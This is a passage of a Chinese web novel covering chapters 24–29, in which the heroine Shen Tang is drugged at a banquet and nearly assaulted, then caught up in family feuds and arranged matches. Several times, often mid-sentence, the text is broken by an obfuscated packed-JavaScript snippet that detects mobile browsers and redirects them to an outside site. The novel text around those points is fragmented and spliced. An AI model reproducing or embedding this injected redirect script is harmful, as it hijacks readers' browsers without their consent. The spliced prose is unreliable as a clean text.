;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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早早就有人饭店门口等着她们两个了。 进了包厢,里面不少人看到沈棠那一刻都倒吸了一口气。 大院里的都知道沈棠漂亮,但少女青葱仍旧稚嫩,比不得妩媚又动人的成熟女人。 但此刻看到沈棠,才知道什么叫十八岁少女最是青春靓丽。 第24章 沈棠,别哭。 红裙本该如烈阳般炙热,穿在沈棠身上不仅没有消减一分清冷,反而增添了一丝纯欲感,就好似生在天边的月,终于能被触及。 郑霖眼里闪过一丝惊艳,起身笑着将她迎至首桌:“沈棠,你坐着。” 沈棠这才看到贺旭也在,他今天穿着白衬衫和黑色长裤,手腕上带着一只程亮的手表,见她看来,男人漫不经心勾起笑。 沈珍珍看着被众人拥簇过去的沈棠,心情不爽:“郑霖,我的位置呢?” 不等郑霖说话,他身边懂事的小弟王浩立马将人拉到了隔壁桌。 沈珍珍气的就要甩开他的手,王浩低声劝她:“大姐,你也不看看那桌都是些什么人,咱们安静点,郑哥说了,晚上亲自送你回去呢。” 听到这句话,沈珍珍羞着脸白了他一眼坐下了。 “今天是郑某的生辰,很荣幸能够请到大家来,在此我敬诸位一杯。” 郑霖说完,举着杯子跟众人敬酒。 沈棠有些为难,她不喜欢喝酒,偏偏桌子上根本没有果汁茶水,她连代替的东西都没有。 “我一杯倒,就不和诸位喝酒了。” 贺旭轻笑说完,将杯子随手放在了桌子。 郑霖拧了拧眉头,碍于贺旭的身份倒也没说什么。 他爸的权利虽然大,但还没有大到在京城只手遮天。 贺旭这样身份的人,他够都够不着,也不知道为什么这次一请就来了。 沈棠听见贺旭这样说,立马开口:“我酒精过敏,请见谅。” 郑霖脸色一下子就不好了。 视线在这两人之间来回打量,听说沈棠和贺旭在一个部队,这一次两人是一起回来的,这两人该不会有什么吧? 贺旭在大院里是出了名的混混,打架斗殴样样在行,他可不信这人会一杯倒。 “沈棠,就一杯酒而已,我可从来没听说过有人会酒精过敏,咱们都刚刚成年,你烦心,我备的酒浓度不高,不会让你出事的。” 郑霖目光灼灼的看着她,她要是不喝酒,自己接下来的事就没办法进行了。 见沈棠犹豫,他再次说道:“这样,你抿一抿,也算是给我面子了,咱们可是同学,你不会连这点面子都不给吧?” 沈棠被众人看的下不来台,又想从郑霖口中打听消息,便举起酒杯抿了一抿。 只喝了一点点,想来应该不会事。 贺旭原本还在戏谑的看戏,看到沈棠竟然没有拒绝,眉头顿时缩紧。 这怂包怎么回事,不想喝难道郑霖还能逼得了她了? 郑霖见沈棠喝了,高兴的招呼众人喝酒吃菜。 华云饭店作为贵宾招待所,菜肴的味道是真不错。 按照往常,沈棠已经迫不及待的干饭了。 可也不知道是不是刚刚那杯酒的问题,还是这里人太多,导致本来就热的天此刻更热了,她完全没有胃口吃饭。 好不容易忍到了中途,沈棠有些坐不住起身去了厕所。 旁边的郑霖一看,借口酒意上头去吹风也走了出去。 贺旭黑眸微沉,手里的杯子一转重重的放在桌子上,理都没理叽叽喳喳说话的郑婷,转身走了出去。 沈棠快步走进厕所洗了把脸,看着镜子里面色桃红的自己,她心里咯噔一下。 这不会中春药了吧? 难道是那杯酒? 靠,郑霖这个变态! 她喝的不多,药性不算强,即使浑身热的她口干舌燥,理智还是在的。 清醒了一点后,沈棠立马就打算去医院。 谁知刚路过一个房间,就被人捂住了嘴巴拖了进去。 沈棠使劲挣扎,拼命抓住门,可身后的人力气极大,一点点的将她的手扳了开。 房门猛的被人关上,沈棠整个人都被甩到床上。 她看着眼前满是痴迷变态的男人,身子控制不住的害怕颤抖。 “郑、郑霖,你这是做什么?我告诉你这样是犯法的,就算是你爸也保不住你。” 郑霖摇头轻笑:“棠棠,你太天真了,失去了清白,你爸妈再疼你,你也只能嫁给我,不然所有人都会骂你荡妇,流言蜚语能够把你淹死。 棠棠,你放心,我会疼你的,我会把你捧在手心里,让你一辈子都过的快乐。 你看看,我无论是长相还是家世,哪一样不是人中龙凤?咱们两家联姻,我还能尽量帮你们沈家周旋呢。” 沈棠紧张的咽了咽干燥的嗓子:“周旋什么?” 郑霖勾起唇,肆无忌惮的眼神在她曼妙的身材上来回流连。 “沈老爷子当年得罪了不少人,你姑父梁文孝只是个开始,乖乖跟了我,我至少可以保你和你侄儿无恙。” 沈棠余光看到桌子上的花瓶,一边拖延时间一边往后退:“郑霖,咱们可以谈对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你被下药了?” 贺旭愣了下,对这种肮臢事情显然很了解,看到她这样子恨不得再把郑霖打一顿。 “贺旭,我想……” 贺旭似乎知道她要说什么,长睫微颤,扣住她的试图勾上他脖子的手。 “沈棠,控制点你自己,你只是中药了。” “你不喜欢我,为什么?” 第25章 你的喜欢这么廉价吗 沈棠委屈的望着他,无论是在现代还是在这里,都有无数人追求她,可她从来没有看中过一个。 贺旭是她第一眼见到就产生了好感的人。 “没有为什么,贺家一团糟,你这样软弱的性子,我护不住你。” 沈棠热的不行,听到他的拒绝更是心烦。 也许是因为有了中药做借口,她鼓起勇气,凑上前吻在他喋喋不休的唇上。 贺旭没有避开,那双如梦里如出一辙的浅褐色瞳眸,似映着他隐忍的情绪。 “沈棠,别做后悔之事……” “你也知道我胆小,但是贺旭,我想努力争取你一次,你要是不同意,那我们以后就尽量躲着对方走,权当陌生人相处。” 她不后悔努力争取过后仍旧不能得到自己想要的答案,人生有很多种可能,她并不觉得自己会对一个人念念不忘一辈子。 贺旭被她的话刺激到了,他捏住她的下巴,黑眸冷厉:“你的喜欢就这么廉价吗?前些天你是不是也是这么对韩忠国说的?” 沈棠本来脑袋就有些迷糊,听到韩忠国这个名字愣了下,反应过来想要解释。 但贺旭却已经将她这么表现当成了她对韩忠国余情未了的表现。 他不想听沈棠哄骗他,捏住她的脖子将人按晕,抱起人一路去了医院。 沈棠迷迷糊糊的醒来已经在医院,沈母正坐在床边给她盖被子。 见她醒了满是惊喜:“糖糖醒了,身子可还难受?” 沈棠手上还挂着点滴,抬头对上沈母温柔的脸,心里的恐惧一下子就涌了出来:“昨天……” “昨天什么事也没发生,糖糖别怕,这件事交给爸爸妈妈处理。” 沈母温柔的安慰着她,见她恐惧的情绪慢慢消散才松了一口气。 沈棠饿了一天,骤然放松下来,肚子咕噜声在病房里响的格外清脆,羞的她偷偷用被子盖住半张脸。 沈母听到,好笑的摸了摸她的头:“我去食堂给你买点饭菜。” 病房里就一张床,人都走了,沈棠才想起昨天她勾着贺旭脖子吻他的画面。 霎时间,她脸红到了耳根。 太社死了! 回忆到最后,她记起了贺旭质问她的话。 沈棠的小脑袋瓜有些懵,所以贺旭到底在介意什么? 她不喜欢韩忠国就是变心太快,她要是喜欢韩忠国又来表白他就是侮辱他? 合着她怎么做都是个错呗! 算了,不想了,沈棠觉得再想下去,她自己也要心梗了。 拒绝她就拒绝她呗,找什么借口。 事情发酵了几天,正当沈棠以为郑霖不会有什么惩罚后,忽然听到了郑霖被捕的消息。 沈二叔当天就上了门道歉。 沈棠下楼的时候,正好看到沈二叔卑躬屈膝的跟沈老爷子说着话,尤其是沈珍珍,脸上还有一个巴掌印。 看到沈棠,二叔沈越连忙上前:“棠棠,你没事就好了。 你堂姐是真不知道郑霖那小子存了那等龌龊心思,她要是知道,肯定不会带你去那什么生日宴。” 沈老爷子压着怒气:“棠棠,你别理你二叔,老子怎么就生了这么两个蠢蛋,一个天天想着救个赌鬼,一个想巴结革委会,结果被人耍的团团转,还差点把自己妹妹给搭进去。” 沈棠看着低着头一眼不发的沈珍珍,拳头里的指甲都嵌进肉里了,显然是恨的不行。 也不知道恨的哪个。 沈越被训斥的满头灰:“革委会的权利有多大您又不是不知道,珍珍喜欢郑霖,我想着俩家也离的近,要是能处上对象也是好事,谁知道郑霖这么不是个东西。” 要不是这次触及到了大哥大嫂的底线,连郑霖都被抓了进去,他哪里会连夜赶过来赔礼道歉。 郑霖父亲是省级革委会主任,能坐上这个位置的,上头多半是有人的。 调查组那边能不顾革委会主任的面子,将他儿子扣押进监狱,这事除了沈老爷子出手,他想不出还有谁会这么公然的对付郑家。 沈老爷子没吭声,他确实有想将郑霖送进去的意思,但他也知道沈家正处在一个关键时候,贸然动手很可能会让沈家处于被动状态。 尤其这件事关乎孙女的名声,他不能用强奸未遂的案名将郑霖送进去,还得想个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211094|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他法子,最好能够抓住郑家的把柄,到时候一锅端了。 可没等他出手,调查组那边大清早的闯进了郑霖办公室,在他的办公室里找到了大量受贿和污蔑他人被批斗的证据。 这事惊动了郑父,对方立刻就调动关系,想要把儿子捞出来。 沈老爷子在其中出了不少力阻拦,但也不知道是谁在背后操作,郑父非但没有将人捞出来,反而满首都的人都通过人民日报社的报纸知道了郑霖所做所为。 现在别说郑霖能不能被捞出来了,就是郑父自己估计也要保不住了。 调查组已经开始对郑家进行调查,一旦查出点什么,革委会主任就要换人了。 沈老爷子当年为了帮一位被撤职的老将军说话,得罪了人,革委会那边盯的紧,他一直没好私下活动,让两个儿子远离首都。 现在机会来了,沈老爷子自然是要抓住。 见沈越还不知悔改,沈老爷子气的就差指着他鼻子骂。 “郑家吃人不吐骨头,你为了那点权利,把自己女儿送上火坑,老子真想把你毙了!” 沈越讨好的凑上前:“爸,您别生气,这郑家不是就要完了吗?” 老头子能耐这么大,连郑家都要被搞下台了,他多被骂两句就多被骂两句呗。 老头子消气就行了。 他还想让老头子帮自己活动活动,调去大厂呢。 沈老头子不想看他这张老脸:“滚,郑家哪可能就这么完了,你大哥已经准备调去沈毅那,这几年不回来了,你要是聪明点,赶紧给我滚出京城。” 沈越一惊:“不至于吧?郑家有这么大的能耐?实在不行……那让棠棠嫁过去得了。” 他话音刚落,就被沈父一拳打的嗷嗷叫。 沈老爷子在旁边淡定的说了句:“该。” 话他已经说过了,沈越听不听就不关他的事了,反正到时候他不走就只能下放。 等二叔家一走,沈棠就将昨天郑霖说的有人在背后算计沈家的事,告诉了沈老爷子。 沈老爷子并不意外,反倒问另一件事来:“棠棠,贺家那小子什么时候和你关系这么好了?” 第26章 贺旭,你喜欢我吗? 沈棠想把这件事给岔开,但沈老爷子、沈母、沈父还有二嫂全看着她…… 她心虚低头:“异地见熟人,关系稍微好了些。” 沈老爷子点点头:“贺家那小子是他爷爷亲手教导出来的,手段狠着呢,你这性子可不能跟他扯上关系,等过两天,爷爷让人给你介绍个相亲对象,你过去看看。” 沈棠不懂好端端的老爷子怎么给自己介绍起对象来了,她望向沈母,希望她能为自己说两句话。 可这一次,往常总以女儿意见为主的沈母却默认了老爷子的话。 沈棠拉耸着耳朵,正想着爷爷为什么不看好贺旭,就见小侄子和小侄女跑进屋里,一左一右的拉住了沈老爷子。 “曾爷爷,我看见贺爷爷他在打贺叔叔,打的好疼了。” “用那么一根鞭子打的,贺叔叔好可怜啊,你快叫贺曾爷爷救救他吧。” 小侄女还比划了一下,把鞭子形容成了特大号棍子。 沈棠心里一紧,立马站起身跑出了院子。 这人上次为了救她扯动了伤口,就算前几天的事让她尴尬的不想面对他,她也不能眼睁睁的看着他被贺父打死。 沈老爷子气的吹胡子,瞪了一眼沈父:“赶紧安排相亲之事。” 沈父:“……” 贺家院子里他们本里就不远,沈棠进去贺家时,贺家连大门都没有关。 贺旭站在院子里,身后贺父一鞭又一鞭的抽打着他,后娶的贺母张氏则带着自己儿女在旁边看戏,偶尔劝上两句,但眼里全是嘲讽和得意。 “老子送你去军区,是让你好好反省,可现在你竟然为了个女人,打借着你爷爷的名义到处得罪人,我今天要是不把你打死,我就不姓贺!” 贺旭承受着鞭打,面色冷硬:“你早就不姓贺了,像你这样蠢到连爷爷都放弃的人,你有什么资格来指导我做事,今天你就算打死我,我想做什么,你也不管着!” 贺父一听,顿时火冒三丈,手中的鞭子挥舞的更加用力,仿佛不把他打死誓不罢休。 旁边的张氏虚虚劝了几句:“贺旭,你怎么能这么跟你爸说话,你爸也是担心你。” 贺旭阴冷的眼神似要将她刮了:“滚,老子没跟你说话。” “你跟谁称老子?那是你妈!” 贺旭冷笑:“我妈又没死,她也配?” 张氏眼眶一红,拉着贺父的手臂哭诉:“老峥~” 贺旭眼不见不为净,反正贺峥这个老登打不死他。 贺峥本来就厌恶这个儿子,见他又对自己妻子不敬,下手更加重了。 眼见贺旭身上的衬衫都被鲜血染红也没有半分心软。 沈棠闯进贺家瞧见的便是这样一幕。 贺旭长睫微垂,面无表情的承受一鞭又一鞭鞭挞,冷峻的眉眼如高山之雪淡漠寒栗,好似这一切都已经习以为常。 “贺伯伯!”沈棠连忙抓住贺父的手:“贺旭身上有伤,您这样打他会没命的。” 贺父冷声呵斥:“走开,我训我儿子,关你沈家什么事,怎么着,你还让我儿子当你家赘婿吗?” 在听到大儿子说贺旭为了沈棠算计郑家的时候,他几乎气晕过去。 他不在乎贺旭闯多大的祸,但是他敢丢老爷子的名声,他非得把这个逆子给打死不可! 沈棠:“但是贺旭后背有伤……” “那也不关你沈家之事!” 贺父一把推开沈棠,他力气大,又气急了眼,这一推差点把她推倒在地。 贺旭回头看见,不顾身上的伤接住了沈棠,黑眸阴厉反腿就将贺父一脚踹了出去。 贺父没有参军过,一时没反应过来,被这一脚踹到了地上才回过神。 张氏惊叫一声:“老峥!” “你、你个逆子,竟然敢打老子?”贺父指着他的手都在颤抖。 他肆无忌惮的打贺旭,凭白无故的指责贺旭,不就是因为他姓贺,就算再有出息也是他的儿子。 他量准了他不敢大逆不道! 沈父匆匆赶来,看到自己女儿被欺负,顿时也怒了,揪住贺峥的领子就将人扔出了贺家大院。 “贺峥,你本事大了,敢推我女儿,我看你活的不耐烦了!” 贺峥天不怕地不怕,仗着老头子的威望,连沈老爷子都不放在眼里,哪里会怕沈父! 尤其是两人年岁差不多,偏偏自己文不成武不就,而对方却是从小到大都被人夸的对象! 贺峥只觉得里子面子都丢尽了。 “沈沐,你又算什么东西,你别忘了,这里是我爸的院子!” 沈沐居高临下蔑视着他:“我要是没记错的话,贺老爷子早就把你们都赶出大院了,这里只是贺老爷子和贺旭的家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人终于开口:“沈棠,你从来没有了解过我,你喜欢的,只是那个披着军装耀眼夺目的军人贺旭,不是那个被人辱骂拳加脚踢、在阴暗里滋生的我。 回去吧,别再来了。” 第27章 沈棠,不适合做我贺家主妇。 野痞糙汉忽变情感丰富文艺青年? 沈棠心想,这段写进小说,指不定多少读者心疼男主,想探寻男主遭遇呢。 但谈恋爱而已,至于这么废脑吗?还得分什么真实不真实。 不去就不去呗,谁稀罕他似的。 沈棠生着气跑回了沈家。 贺老爷拄着拐杖来到贺旭身边。 他望着这个已经长大成人的孙子,眼里的肃穆之感并未消散:“你喜欢沈棠?” 贺旭闭上眸子,淡淡回答:“没有。” 贺老爷子叹气:“我培养你,教你武艺,让你参军,是为了让你尽快成长,担起贺家。 沈棠,性子柔弱,不适合做我贺家主妇。” 贺旭抬起下颚,锐利的黑眸好似一把出鞘的剑:“您没有了解过沈棠,怎么知道她就一定做不好?” 贺老爷子笑了下:“还说不喜欢,你这小子想什么,老头子我还能不清楚。” 他缓慢走到窗户边,看着楼下的小姑娘摇晃生气的马尾步伐重重的跑出贺家,唇边的笑意减散了许多。 “确实,去了海市一趟,这姑娘变的胆大了些,但你也要知道,一个人的性子即使改变再多,核心却是改不了的。 以如今贺家的情况,这姑娘要是嫁给你,和兔子进了狼窝有什么区别?” “何况,沈家那老头早就给孙女定下了亲事,人都到京城了,你过两天应该就能看到。 爷爷已经给你安排了相亲对象,等你伤好,去相亲吧。” 贺旭低垂着眸子:“相亲还是不去了,爷爷培养了我这么多年,我还是努力提升自己吧。” 贺老爷子眼睛一转:“行,不过大后天小王他请假,到时候你去国营饭店给我份买午饭吧,记得早点去,我想吃红烧肉和烧鸡了。” 这老头在打什么主意? 贺旭抬眸打量起贺老爷子。 — 这几天沈棠忙的起飞。 爷爷大寿即将到了,沈家不是郑家,被人盯的紧的情况下,还大肆邀请人做大寿。 但就算是在自家过寿,该布置的也需要布置。 沈棠得了空,就会被沈母和二嫂拉着去买东西。 这天,沈棠练完歌下楼, 沈老爷子拿着报纸,余光扫过:“棠棠,你中午没什么事,陪爷爷去国营饭店吃个饭,我想馋烧鸡了。” 沈棠抿了抿唇:“您怎么忽然想吃烧鸡了?” “还不是你贺爷爷,老在我面前提什么烧鸡,可把我馋的。” 沈棠总觉得奇怪:“那我就去好了。” 沈老爷子摇摇头:“没事,他说我今天能在国营饭店见到一个故人,出去逛逛也好,顺便吃个饭,好久没去国营饭店吃饭了。” 听到爷爷这么说,沈棠也没有多纠结,两人快到中午的时候就去了国营饭店。 老爷子今年七十了,天天打太极,身子还是硬朗的,她扶着人坐下,自己去排队点菜。 沈棠最喜欢吃的就是红烧肉,看到菜单上有,果断下手。 沈老爷子看到端上来的菜,笑着说:“小时候的你就喜欢吃红烧肉,长大了反而喜欢吃排骨,现在倒好,胃口又回去了。” 沈棠笑了笑没说话,等菜上齐,老爷子拿出自己自带的酒放在桌子上。 沈棠瞪大了眼睛:“您什么时候带的,可不能多喝。” “就一点点,你这小丫头,比你妈还唠叨。” 沈老爷子最怕就是沈母了,看着温温柔柔的一个人,但绝对说一不二。 他这把年纪了就这么一个爱好,喝两口怎么了? 两人正吃的欢快,身后忽然传来女人响亮又轻蔑的声音。 “陆宴州,你一个农村小子以为穿了身军装就觉得自己是城里人了是吧,还来国营饭店吃饭,这里可不仅要钱,还要票,买不起还是赶紧出去吧,耽误了人家服务员的工作多不好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211096|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈棠听到熟悉的声音,下意识的往那边看了一眼。 这一瞧才发现,那被嘲讽农村小子的男人,不就是当初帮她抢回包的正义好汉吗? 在往说话的女人瞧去,好家伙,是沈萍的女儿梁季雨。 她朝老爷子瞄了一眼,果然老爷子脸色已经沉了下来。 陆宴州并没有看到沈棠,他也没理会身边叫嚣的姑娘,拿出粮票买了一大碗面就打算找个位置坐下来吃饭。 梁季雨看到他手里那点东西,笑出了声:“陆宴州,你长这么大,不会是第一次吃白面吧? 也是,看你这样子,也不像是吃的起白面的人,不过要是乖乖回你乡下,我可以给你点钱,你要是迟迟不愿意离开,再过两天,我可就不会这么好说话了,指不定你还得留宿街头。” 沈棠心里震惊,这表妹到底是个什么奇葩,自己家里一团糟,居然还有心情威胁别人。 那男子估计也是被她纠缠的烦了,冷冷开口:“梁季雨,麻烦你让开点路,我回不回农村留宿不留街头都不关你的事,婚事我同意解除,你也别再我面前烦人。” “解除不是你一句话的事,将我们沈家祖传的玉佩还回来,这事才能罢休。” 她妈可是 说了,那玉佩现在是不值什么钱,可将来未必。 喜欢这东西的人多着呢,也就是现在政策不允许。 陆宴州淡定的回她:“可以,但给你不行,这玉佩是沈家的,要还也是还给沈家,还有我爷爷曾给沈老爷子的金貔貅,你们也得还我。” “哈,你说什么笑话,你们陆家不过是南城最边远地区的一户乡下人家,能拿得出金貔貅?不想还是吧,你等着,我肯定要你好看…… 沈老爷子唰的一下就站了起来,怒拍桌子:“你要给谁好看?” 梁季雨回头一看,吓的双腿一软:“外公,您、您怎么在这?” 沈老爷子板着脸走到他们面前:“你刚刚说要谁好看?” 第28章 贺旭相亲 梁季雨急的嘴巴都结巴了:“我、我说着玩的,就是吓唬吓唬人,没有要谁好看。” 沈老爷子看了一眼陆宴州。 梁季雨生怕她妈做的事被发现,赶忙挡住了他的视线,绞尽脑汁的解释:“是我爸那边的穷亲戚,外公您吃饭,我这就让他走。” 沈老爷子没跟她废话,将人推开,打量起被她挡着的男人。 身姿板正,皮肤虽然黑了点,但眉眼却像极了故人。 “你爷爷是不是陆挽国?” 陆宴州站起身来,朝沈老爷子敬了个礼。 “晚辈陆宴州,代爷爷陆挽国向首长问好!” 沈老爷子立时回了个礼,大笑着走上前:“好小子,来了首都怎么不找我,你爷爷可还好?” 陆宴州眼底露出一丝感伤:“我爷爷上个月去世了。” 沈老爷子眼眶一下子就湿润了:“这老小子怎么这么快就去了,老子都还没走呢,他怎么就先走了?” 沈棠见两人感怀,瞥见一道偷摸逃走的身影,赶紧转移话题:“爷爷,表妹要溜了。” 沈老爷子看到打算跑路的梁季雨,气不打一出来:“你给我滚回来!” 梁季雨瞪了沈棠一眼,撒腿就跑:“这事是我妈让我做的,您要骂就骂她吧,不关我事。” 沈棠没忍住咧了咧嘴,哎呀呀,姑姑要完蛋了。 陆宴州瞥见,黑瞳里闪过一抹笑意。 国营饭店人多,不是个叙旧的地方,老爷子让沈棠把饭菜打包了,再买了几份饭菜,打算回家和陆宴州谈谈他老家的事。 刚出国营饭店,沈棠一行人就撞见了贺旭和一个年轻姑娘迎面走来。 那姑娘的脸颊绯红,长相虽不是极漂亮,却也是大方端庄,盛满好感的眸子时不时的瞥向身侧男人。 不用看都知道这两人在相亲。 沈棠脸色微白,贺旭做事果然绝,刚拒绝了她就开始相亲,这是生怕她缠着他吗? 她沈棠还不至于这么恋爱脑,在被对方拒绝了两次的情况下,还纠缠不休。 这世上的好男人多的是,她又不是没人喜欢! 贺旭也没想到沈棠在这里,他下意识想要解释,可忽然想起两人之间只不过是邻居,前两天他还明确让人家不要再来贺家。 解释的话便卡在了嗓子里,怎么也说不出口。 沈老爷子一看这情况:“贺小子,相亲啊,这姑娘不错,我们就先走了,不打扰你们了。” 老头子这时候腰也不酸,腿也不疼了,拉着沈棠走的贼快,上了车就让司机赶紧开车。 生怕后面有人追。 贺旭气笑了,他算是明白这两个老家伙在打什么主意了。 他静静的站在原地,锐利如刃的眸子与车后座上的陆宴州对上,气氛有一瞬间凝固。 “那人是谁啊?” 江思遥见贺旭把自己扔在一边,目光一直跟随着刚刚那姑娘,有些尴尬的打破沉静。 贺旭神色冷淡:“江同志,我早跟你说过了,我有喜欢的人,并且我也不愿意相亲,老爷子的意思你不用管,回去吧。” 江思遥脸色僵硬,笑的勉强:“我知道贺同志的意思了,不过刚刚那位姑娘好似误会了我们,要不要我去跟她解释一下?” 贺旭点了根烟,冷不丁的嗤笑了声:“呵,你打算以什么身份去解释?” 江思遥紧攥着手中的包,脸上挂着恰到好处的笑:“是我话多了,贺同志再见。” 她没有犹豫,转身离开了国营饭店的门口。 贺老爷子说的果然没错,贺旭这人很难搞。 不过她不会放弃的,她能凭借着自己的手段拿到了工农兵大学名额,又精心算计结识了贺家大房,怎么可能倒在这里? 只要嫁给贺旭,她的人生就实现了一步大跨越,再不会是那个被人辱骂肆意殴打的江招娣。 汽车里,沈老爷子正在和身边的陆宴州说着话。 “我这条命还是你爷爷就救的,当年要不是他冒着敌人的炮火将我背回来,我早就到地府见阎王去了,可惜你爷爷因此受了腿伤,回了老家,不然你和咱们家棠棠说不定能一起长大呢。” 陆宴州透过后视镜看了看坐在前座心不在焉的姑娘。 小姑娘有着一双让人难以忘怀的浅褐色瞳眸,清冷的如那高空皎月,令人不敢随意靠近。 可初见他就知道,这个姑娘性子软和温良,只是过于内敛罢了 原来她叫沈棠。 “爷爷常提起早年在战场上杀敌的场景,他说您是他见过的最护着手下的首长。” 沈老爷子开怀大笑:“哪有,你爷爷只会说人好话,平日里训练可苦了,当年就属你爷爷最能忍,也最能干,杀起敌人来那叫一个果决。” 陆宴州不是个多话的人,大多时候都是老爷子说话,他在旁边听着。 沈老爷子看他一身军装,问了问:“你在哪当兵?” “在北城边防,目前任营长一职。” “你这小子,真不错。”老爷子夸赞道。 陆宴州谦虚笑着:“不过我已经转隶到另一个部队了。” “哦?现在在哪? ” “中部战区。” 沈老爷子一琢磨:“那巧了,我们家棠棠是那边部队文工团的,正好有照应,你今年多大,结婚了吗?” 他想起当年跟陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211097|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽国定下的婚事,这婚事原本是应在双方儿女身上的,奈何当时时局有变,双方失去了联系,直到国家彻底安静下来,他才派人去找了陆家。 可那时候他膝下子女都已经结了婚,便将这桩婚事延直到孙辈。 陆家十几年都没来过首都,沈老爷子从一开始的惦记,到后来也渐渐忘却了。 不过陆宴州既然已经找来,那这桩婚事肯定是要继续的。 “今年二十六岁,未婚。” 沈老爷子心想,这孩子不错啊。 他偷偷瞄了一眼沈棠,又立马摇头。 不行不行,沈沐和周蓉这不得把他吃了? 可珍珍性子也不太好,陆宴州年纪轻轻的就能当上营长,前途还是可以的,估计也看不上珍珍。 “你家没有待嫁的姑娘吗?” 适合的孙女就那么两个,一个性子软弱被人欺负了也不知道,一个性子跋扈别欺负别人就不错了。 实在不行,还是把婚事定在孙子身上吧。 陆宴州明白了老爷子的意思,并没有隐瞒:“有个十七岁的妹妹。” 沈老爷子:“还没成年呢,可读书了?” “高三了,明年也要毕业了。” 沈老爷子摸着胡子,心想可成。 沈刚都二十三了,明年结婚的刚好可行。 只是这件事得事先打听好,万一对方姑娘有喜欢的人。 那…… 老爷子看了一眼沈棠,心里满是不舍和纠结,可当初的救命之恩也是真的,做人不能言而无信。 陆宴州是个细心的人,察觉到老爷子的情绪转变,他轻声道:“其实我这次来,只是为了完成爷爷的心愿,至于两家婚事,现在都崇尚自由恋爱,还是解除了吧。” “那不行。”老爷子摇头。 他当初许下了诺言,就一定要进行,即使要解除,也不能一句话就解除了。 沈老爷子不想在这个话题进行下去,打听了一下陆宴州为什么认识梁季雨。 得知沈萍打着他的名义拒绝和陆家联姻,还驱赶陆宴州离开首都,又羞又愧,气的脸色涨红。 “这个逆女,棠棠,回了大院你就跟保卫室那边的人交待一下,不许你姑姑进来大院了。” 沈棠心里还难受着,一时没听见话。 老爷子只能拧眉再叫了一声:“棠棠?” 沈棠回过神来,疑惑回头:“怎么了爷爷?” 沈老爷子一眼就看出了她强装的笑,当着外人的面,他也不好训斥自己孙女,轻叹了声:“算了,你回家歇着吧。” 陆宴州想起刚刚看到的那人,心想,沈同志似乎与对方关系不太寻常。 第29章 不是结婚的上好人选 贺老爷子已经在家等了半天。 见他回来,有些坐不住的旁敲侧击:“去国营饭店的时候有没有遇见什么人?” 贺旭:“看到沈棠了。” 贺老爷子:“哦……还有呢?” “还有你说的那个跟沈家有婚约的男人,长的一般,是个军人,不是结婚的上好人选。” 贺老爷子:“……” 他有问那么多吗? 贺旭面无表情的回答,将碗筷给老爷子摆放好。 老爷子喝了一口茶,忍不住继续问:“有看到你堂姐安排的那个女娃吗?” 贺旭起身就要出去。 贺老爷子急了:“你去哪?” “回四合院。” 贺老爷子瞪圆眼睛:“前两天的话你是一点都没听进去是吧?那姑娘长的也不错,性格也好,能容忍人,你早点结婚生子,难道还有错了?” 贺旭站在门口,神情自若:“我入军九年了,立下的功大大小小全是我用命拼回来的。 没有爷爷您,我一样能够爬上去,无非就是慢一点和快一点的区别。 你说沈棠性子柔弱,不能当贺家主妇。 那行,趁着你还有劲,重新培养人吧。” 他爬到营长之位,没有卡他升职,这其中的确有老爷子的照顾,但他的功勋也是实打实的拼出来的。 否则老爷子根本不会选择将资源倾斜给他。 贺老爷子眼睁睁的看着他走出去,气的连碗筷都摔了。 “这个逆子!呸,逆孙!” 贺旭骑着车刚转了个弯,巷子里突然窜出来个人抓住他的自行车。 女人用一条灰色的纱巾包裹着脸,穿着灰扑的衣衫,头发有些散乱,看起来极狼狈。 若是沈棠在,定会第一眼认出这就是火车上那位穿着光鲜亮丽的记者李芬。 